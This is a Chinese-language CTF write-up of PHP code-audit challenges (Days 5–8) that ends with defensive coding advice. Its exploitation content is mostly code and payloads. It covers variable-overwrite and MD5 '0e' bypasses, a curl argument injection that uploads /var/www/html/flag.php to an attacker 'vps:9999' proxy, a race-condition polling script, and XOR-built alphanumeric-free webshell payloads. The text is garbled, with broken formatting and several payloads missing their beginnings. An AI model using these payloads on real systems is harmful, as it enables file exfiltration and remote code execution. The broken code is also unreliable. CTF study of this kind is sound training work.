PHP代码审计实战教学:Day5-Day8题解
Day5:全局变量覆盖与curl文件读取
漏洞分析
- 全局变量覆盖漏洞:
- 代码使用
extract($_POST, EXTR_SKIP)和extract($_GET, EXTR_SKIP)处理输入 - 结合
unset函数绕过WAF检测 - 可变变量(`
- 代码使用
\[var`)的使用增加了复杂性 2. **MD5哈希碰撞**: - 使用`0e`开头的MD5值进行弱类型比较绕过 - 示例值:`QNKCDZO`的MD5为`0e830400451993494058024219903391` 3. **curl文件读取**: - 利用`escapeshellarg()`和`escapeshellcmd()`共同使用时的漏洞 - 通过添加单引号干扰转义 - 使用`-F`参数提交文件,配合代理监听 ### 利用步骤 1. **构造MD5碰撞**: ```http GET /index.php?flag=QNKCDZO&hongri=s878926199a ``` 2. **绕过WAF**: ```http POST /index.php _GET[flag]=QNKCDZO&_GET[hongri]=s878926199a ``` 3. **文件读取payload**: ```http url=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 ``` ### 完整攻击请求 ```http POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 112 _GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 ``` ## Day6:正则表达式与弱类型比较 ### 漏洞分析 1. **正则表达式字符类**: - `[[:graph:]]`:可打印字符(不包括空格) - `[[:punct:]]`:标点符号 - `[[:digit:]]`:数字 - `[[:upper:]]`:大写字母 - `[[:lower:]]`:小写字母 2. **密码强度检查**: - 至少12个可打印字符 - 至少分为6段(连续同类型字符为一段) - 至少包含3种字符类型(标点、数字、大写、小写) 3. **弱类型比较**: - `$password == 42` - 科学计数法绕过:`42.00e+00000`或`420.00000e-1` ### 有效payload ```http password=42.00e+00000 password=420.00000e-1 ``` ### 无效payload分析 `password=\x34\x32\x2E`不可行,因为: - 正则表达式字符类检查会将其视为标点符号 - 无法满足至少3种字符类型的要求 ## Day7:变量覆盖与时间竞争 ### 漏洞分析 1. **parse_str变量覆盖**: - `@parse_str($id)`不检查变量是否存在 - 可通过其他方式传入`$id`覆盖现有变量 2. **MD5哈希碰撞**: - 使用`0e`开头的MD5值绕过比较 - `md5('QNKCDZO') = 0e830400451993494058024219903391` - 有效payload:`a[0]=s878926199a` 3. **时间竞争漏洞**: - `usleep(100000)`提供100ms的时间窗口 - 需要在这段时间内访问写入的文件 ### 利用步骤 1. **触发变量覆盖**: ```http GET /index.php?id=a[0]=s878926199a ``` 2. **获取上传页面**: - 通过a标签自动携带Referer访问`uploadsomething.php` 3. **文件写入竞争**: ```http GET /uploadsomething.php?filename=flag&content=111 ``` 4. **快速读取文件**: ```python import requests r1 = requests.Session() while True: r2 = r1.get("http://127.0.0.1/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag") print(r2.text) ``` ## Day8:无字母数字Webshell ### 第一题解法 1. **限制条件**: - `code`参数不能包含字母和数字 - 长度不超过40字节 2. **利用技术**: - 异或运算和取反运算构造字符 - 使用`$_GET`数组动态调用函数 3. **payload分析**: ```php $_="_GET";$_GET[_]($_GET[getFlag]); ``` 等价于: ```php $_GET['_']($_GET['getFlag']); ``` 4. **37字节payload**: ```http ?code=$_="%01%08%00%00%00%02%04"^"%7f%7b%7f%7f%7f%60%60";$_(); ``` 5. **28字节优化payload**: ```http $_1c%1e%0f%3d%17%1a%1c";$_(); ``` ### 第二题解法(过滤下划线) 1. **中文变量名绕过**: ```http $哼=1c%1e%0f%3d%17%1a%1c";$哼(); ``` 2. **Fuzz可用ASCII字符**: ```python import requests for i in range(0,256): asc = "%%%02x" % i url = 'http://localhost/demo/index2.php?code=$%s=1c%%1e%%0f%%3d%%17%%1a%%1c";$%s();' % (asc,asc) r = requests.get(url) if 'HRCTF' in r.text: print("%s 可用" % asc) ``` 3. **替代payload**: ```http $呵=呵}[呵](${$呵}[呵]);&呵=getFlag ``` ## 总结与防御建议 1. **安全编码实践**: - 避免使用`extract()`和`parse_str()`等危险函数 - 使用严格比较运算符`===`而非`==` - 对用户输入进行严格过滤和验证 2. **正则表达式安全**: - 明确字符类范围 - 避免使用过于宽松的正则 - 考虑使用白名单而非黑名单 3. **文件操作安全**: - 限制文件操作权限 - 避免直接使用用户输入作为文件路径 - 使用安全的文件操作函数 4. **竞争条件防御**: - 使用文件锁机制 - 原子性操作 - 适当的延迟和重试机制 5. **Webshell防御**: - 禁用危险函数 - 限制代码执行功能 - 监控异常行为\]